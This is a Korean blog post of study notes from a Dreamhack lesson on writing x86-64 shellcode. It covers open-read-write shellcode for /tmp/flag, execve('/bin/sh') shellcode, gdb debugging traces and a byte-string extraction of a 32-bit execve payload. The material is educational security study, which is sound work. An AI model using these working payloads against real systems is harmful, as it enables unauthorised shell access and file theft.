본문 바로가기

Security Study/System

[Dreamhack] Shellcode

Exploit Tech: Shellcode

0.1. 셸코드

익스플로잇을 위해 제작된 어셈블리 코드 조각

  • 셸을 획득하기 위한 목적으로 셸코드를 사용해서 “셸”이 접두사로 붙음
  • 셸을 획득하는 것은 시스템 해킹의 관점에서 매우 중요
  • 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있음
  • 어셈블리어는 기계어와 거의 일대일 대응되므로 사실상 원하는 모든 명령을 CPU에 내릴 수 있게 됨
  • 셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 셸코드의 목적에 따라 다르게 작성됨
  • 아키텍처별로 자주 사용되는 셸코드를 모아서 공유하는 사이트가 있지만 공유되는 셸코드는 범용적으로 작성된 것이기 때문에 실행될 때의 메모리 상태 같은 시스템 환경을 완전히 반영하지는 못하므로 최적의 셸코드는 일반적으로 직접 작성해야 함

1. orw 셸코드

1.1. orw 셸코드 작성

파일을 열고 읽은 뒤, 화면에 출력해주는 셸코드

  • “/tmp/flag”를 읽는 셸코드를 C언어로 표현
char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);
  • orw 셸코드를 작성하기 위해 알아야 하는 syscall
syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

open

  • 첫 번째로 “/tmp/flag”라는 문자열을 메모리에 위치시켜야 함
  • 스택에 0x616c662f706d742f67(/tmp/flag)를 push하고, rdi가 이를 가리키도록 rsp를 rdi로 옮김
  • O_RDONLY는 0이므로 rsi는 0으로 설정
// <https://code.woboq.org/userspace/glibc/bits/fcntl.h.html#24>
/* File access modes for `open' and `fcntl'.  */
#define        O_RDONLY        0        /* Open read-only.  */
#define        O_WRONLY        1        /* Open write-only.  */
#define        O_RDWR          2        /* Open read/write.  */
  • 파일을 읽을 때, mode는 의미를 갖지 않으므로 rdx는 0으로 설정
  • rax를 open의 syscall 값인 2로 설정
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

read

  • syscall의 반환 값은 rax로 저장되므로 open으로 획득한 /tmp/flag의 fd는 rax에 저장됨
  • read의 첫 번째 인자들이 이 값으로 설정해야 하므로 rax를 rdi에 대입함
  • rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킴
  • 0x30만큼 읽을 것이므로 rsi에 rsp-0x30을 대입함
  • rdx는 파일로부터 읽어낼 데이터 길이인 0x30으로 설정함
  • read 시스템콜을 호출하기 위해서 rax를 0으로 설정함
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

write

  • 출력은 stdout으로 할 것이므로, rdi를 0x1로 설정
  • rsi와 rdx는 read에서 사용한 값을 그대로 사용
  • write 시스템콜을 호출하기 위해서 rax를 1로 설정
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

1.2. orw 셸코드 컴파일 및 실행

  • 대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있음
    • 윈도우의 PE, 리눅스의 ELF
  • ELF(Executable and Linkable Format)는 크게 헤더와 코드, 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 기계어 코드가 적혀있음
  • orw.S 셸코드는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF형식이 아니므로 리눅스에서 실행될 수 없음
  • gcc컴파일을 통해 ELF형식으로 변형할 수 있음

컴파일

  • 어셈블리 코드를 컴파일하는 방법에는 여러 가지가 있을 수 있으나 그중에서 셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 셸코드를 탑재하는 방법을 사용
  • 스켈레톤 코드: 핵심 내용이 비어있는, 기본 구조만 갖춘 코드
  • 스켈레톤 코드 예제
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\\n"
    "run_sh:\\n"

    "Input your shellcode here.\\n"
    "Each line of your shellcode should be\\n"
    "seperated by '\\n'\\n"

    "xor rdi, rdi   # rdi = 0\\n"
    "mov rax, 0x3c	# rax = sys_exit\\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }
;Name: orw.S

push 0x67       ; 문자열 g를 먼저 넣어줌 (리틀 엔디언으로 저장됨)
mov rax, 0x616c662f706d742f    ; 나머지 문자열 /tmp/fla를 넣어줌
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\\n"
    "run_sh:\\n"

    "push 0x67\\n"
    "mov rax, 0x616c662f706d742f \\n"
    "push rax\\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\\n"
    "xor rdx, rdx    # rdx = 0\\n"
    "mov rax, 2      # rax = 2 ; syscall_open\\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\\n"
    "\\n"

    "mov rdi, rax      # rdi = fd\\n"
    "mov rsi, rsp\\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\\n"
    "syscall           # read(fd, buf, 0x30)\\n"
    "\\n"

    "mov rdi, 1        # rdi = 1 ; fd = stdout\\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\\n"
    "syscall           # write(fd, buf, 0x30)\\n"
    "\\n"

    "xor rdi, rdi      # rdi = 0\\n"
    "mov rax, 0x3c	   # rax = sys_exit\\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

실행

  • 셸코드가 실제로 작동함을 확인하기 위해 /tmp/flag 파일을 생성
echo "flag{this_is_open_read_write_shellcode!}" > /tmp/flag
  • owr.c를 컴파일하고 실행
gcc -o orw orw.c -masm=intel
./orw
flag{this_is_open_read_write_shellcode!}
&��U
  • 셸코드가 성공적으로 실행되어 저장한 문자열이 출력되는 것을 확인할 수 있음
  • 만약 공격의 대상이 되는 시스템에서 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있을 것임
  • 주의깊게 살펴봐야 할 것은 /tmp/flag의 내용 말고도 몇 자의 문자열들이 함께 출력된 것

1.3. orw 셸코드 디버깅

  • orw를 gdb로 열고 run_sh()함수에 브레이크 포인트를 설정
❯ gdb orw -q
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from orw...(no debugging symbols found)...done.
pwndbg> b *run_sh
Breakpoint 1 at 0x5fa
  • run 명령어로 run_sh() 함수의 시작 부분까지 코드를 실행시키면 작성한 셸코드에 rip가 위치한 것을 확인할 수 있음
[DISASM]
 ► 0x5555555545fa <run_sh>       push   0x67
   0x5555555545fc <run_sh+2>     movabs rax, 0x616c662f706d742f
   0x555555554606 <run_sh+12>    push   rax
   0x555555554607 <run_sh+13>    mov    rdi, rsp
   0x55555555460a <run_sh+16>    xor    rsi, rsi
   0x55555555460d <run_sh+19>    xor    rdx, rdx
   0x555555554610 <run_sh+22>    mov    rax, 2
   0x555555554617 <run_sh+29>    syscall

open

  • 첫번째 syscall전까지 실행하고, syscall에 들어가는 인자를 확인
[REGISTERS] 
 RAX  0x2
 RBX  0x0
 RCX  0x555555554670 (__libc_csu_init) ◂— push   r15
 RDX  0x0
 RDI  0x7fffffffc2a8 ◂— '/tmp/flag'
 RSI  0x0
 ...
 
[DISASM]
   0x555555554606 <run_sh+12>    push   rax
   0x555555554607 <run_sh+13>    mov    rdi, rsp
   0x55555555460a <run_sh+16>    xor    rsi, rsi
   0x55555555460d <run_sh+19>    xor    rdx, rdx
   0x555555554610 <run_sh+22>    mov    rax, 2
 ► 0x555555554617 <run_sh+29>    syscall  <SYS_open>
        file: 0x7fffffffc2a8 ◂— '/tmp/flag'
        oflag: 0x0
        vararg: 0x0
  • pwndbg 플러그인은 syscall을 호출할 때, 인자를 분석해줌
  • 셸코드를 작성할 때 계획했듯, open(”/tmp/flag”, O_RDONLY, NULL)이 실행됨을 확인할 수 있음
[REG]
*RAX  0x3
 RBX  0x0
*RCX  0x555555554619 (run_sh+31) ◂— mov    rdi, rax
 RDX  0x0
 RDI  0x7fffffffc2a8 ◂— '/tmp/flag'
 RSI  0x0
 ...
[DISASM]   
   0x555555554607 <run_sh+13>    mov    rdi, rsp
   0x55555555460a <run_sh+16>    xor    rsi, rsi
   0x55555555460d <run_sh+19>    xor    rdx, rdx
   0x555555554610 <run_sh+22>    mov    rax, 2
   0x555555554617 <run_sh+29>    syscall
 ► 0x555555554619 <run_sh+31>    mov    rdi, rax
  • open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장됨

read

[REGISTERS]
*RAX  0x0
 RBX  0x0
 RCX  0x555555554619 (run_sh+31) ◂— mov    rdi, rax
 RDX  0x30
 RDI  0x3
 RSI  0x7fffffffc278 ◂— 0xf0b5ff 

[DISASM] 
   0x555555554619 <run_sh+31>    mov    rdi, rax
   0x55555555461c <run_sh+34>    mov    rsi, rsp
   0x55555555461f <run_sh+37>    sub    rsi, 0x30
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
 ► 0x555555554631 <run_sh+55>    syscall  <SYS_read>
        fd: 0x3
        buf: 0x7fffffffc278 ◂— 0xf0b5ff
        nbytes: 0x30
  • 새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffc278에 저장
[DISASM]
   0x55555555461c <run_sh+34>    mov    rsi, rsp
   0x55555555461f <run_sh+37>    sub    rsi, 0x30
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
   0x555555554631 <run_sh+55>    syscall
 ► 0x555555554633 <run_sh+57>    mov    rdi, 1
pwndbg> x/s 0x7fffffffc278
0x7fffffffc278: "flag{this_is_open_read_write_shellcode!}\\nFUUUU"
  • 실행 결과를 x/s로 확인해보면 0x7fffffffc278에 /tmp/flag의 문자열이 성공적으로 저장된 것을 확인할 수 있음

write

  • 마지막으로, 읽어낸 데이터를 출력하는 write 시스템 콜을 실행
[REGISTERS]
*RAX  0x1
 RBX  0x0
 RCX  0x555555554633 (run_sh+57) ◂— mov    rdi, 1
 RDX  0x30
 RDI  0x1
 RSI  0x7fffffffc278 ◂— 'flag{this_is_open_read_write_shellcode!}\\nFUUUU'
 
[DISASM]
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
   0x555555554631 <run_sh+55>    syscall
   0x555555554633 <run_sh+57>    mov    rdi, 1
   0x55555555463a <run_sh+64>    mov    rax, 1
 ► 0x555555554641 <run_sh+71>    syscall  <SYS_write>
  • 데이터를 저장한 0x7fffffffc278에서 48바이트를 출력
flag{this_is_open_read_write_shellcode!}
FUUUU
  • /tmp/flag의 데이터 외에 알수없는 문자열이 출력됨
  • 초기화되지 않은 메모리 영역 사용에 의한 것

Appendix. Uninitialized Memory

[DISASM]
   0x55555555461c <run_sh+34>    mov    rsi, rsp
   0x55555555461f <run_sh+37>    sub    rsi, 0x30
   0x555555554623 <run_sh+41>    mov    rdx, 0x30
   0x55555555462a <run_sh+48>    mov    rax, 0
   0x555555554631 <run_sh+55>    syscall
 ► 0x555555554633 <run_sh+57>    mov    rdi, 1
pwndbg> x/6gx 0x7fffffffc278
0x7fffffffc278: 0x6968747b67616c66      0x65706f5f73695f73
0x7fffffffc288: 0x775f646165725f6e      0x6568735f65746972
0x7fffffffc298: 0x7d2165646f636c6c      0x000055555555460a
  • 48바이트 중, 앞의 40바이트만 저장한 파일의 데이터이고, 뒤의 8바이트는 저장한 적이 없는 데이터
  • 이 데이터가 나중에 write시스템콜을 수행할 때, 플래그와 함께 출력되는 것
  • 이 값이 어셈블리 코드의 주소와 비슷한 것을 알 수 있음
  • 중요한 값을 유출해 내는 것을 메모리 릭(Memory Leak)이라고 부름

2. execve 셸코드

2.1. execve 셸코드란

셸(Shell, 껍질)

운영체제에 명령을 내리기 위해 사용되는 사용자 인터페이스

커널(Kernel, 호두 속 내용물)

운영체제의 핵심 기능을 하는 프로그램

  • 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여김

execve 셸코드

임의의 프로그램을 실행하는 셸코드로, 서버의 셸을 획득할 수 있음

보통의 셸코드를 의미

  • 최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재
  • zsh, tsh 등의 셸을 유저가 설치해서 사용할 수 있음
  • 리눅스 bash

  • 리눅스 계층

execve(”/bin/sh”, null, null)

execve 셸코드는 execve 시스템 콜만으로 구성됨

syscall  rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *file name const char *const *argv const char *const *envp
  • argv는 실행파일에 넘겨줄 인자, envp는 환경변수
  • sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 됨
  • 리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있으며, sh도 여기에 저장되어 있음
;Name: execve.S

mov rax, 0x68732f6e69622f ; hs/nib/
push rax
mov rdi, rsp  ; rdi = "/bin/sh\\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

2.2. execve 셸코드 컴파일 및 실행

  • 앞에서 사용한 스켈레톤 코드를 이용하여 execve 셸코드를 컴파일
  • execve 셸코드 예제
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\\n"
    "run_sh:\\n"
    "mov rax, 0x68732f6e69622f\\n"
    "push rax\\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\\n"
    "xor rsi, rsi  # rsi = NULL\\n"
    "xor rdx, rdx  # rdx = NULL\\n"
    "mov rax, 0x3b # rax = sys_execve\\n"
    "syscall       # execve('/bin/sh', null, null)\\n"
    "xor rdi, rdi   # rdi = 0\\n"
    "mov rax, 0x3c	# rax = sys_exit\\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id 
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
  • 실행 결과, sh가 실행된 확인할 수 있음
  • 디버깅하는 것은 orw 셸코드와 동일

2.3. objdump를 이용한 shellcode 추출

  • 작성한 shellcode를 byte code(opcode)의 형태로 추출하는 방법
  • 어셈블리 코드
; File name: shellcode.asm

section .text
global _start

_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80
  • shellcode.o
$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$
  • shellcode.bin
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$ 

execve /bin/sh shellcode: 
"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
반응형

'Security Study > System' 카테고리의 다른 글

[Dreamhack] Tool  (0) 2024.05.06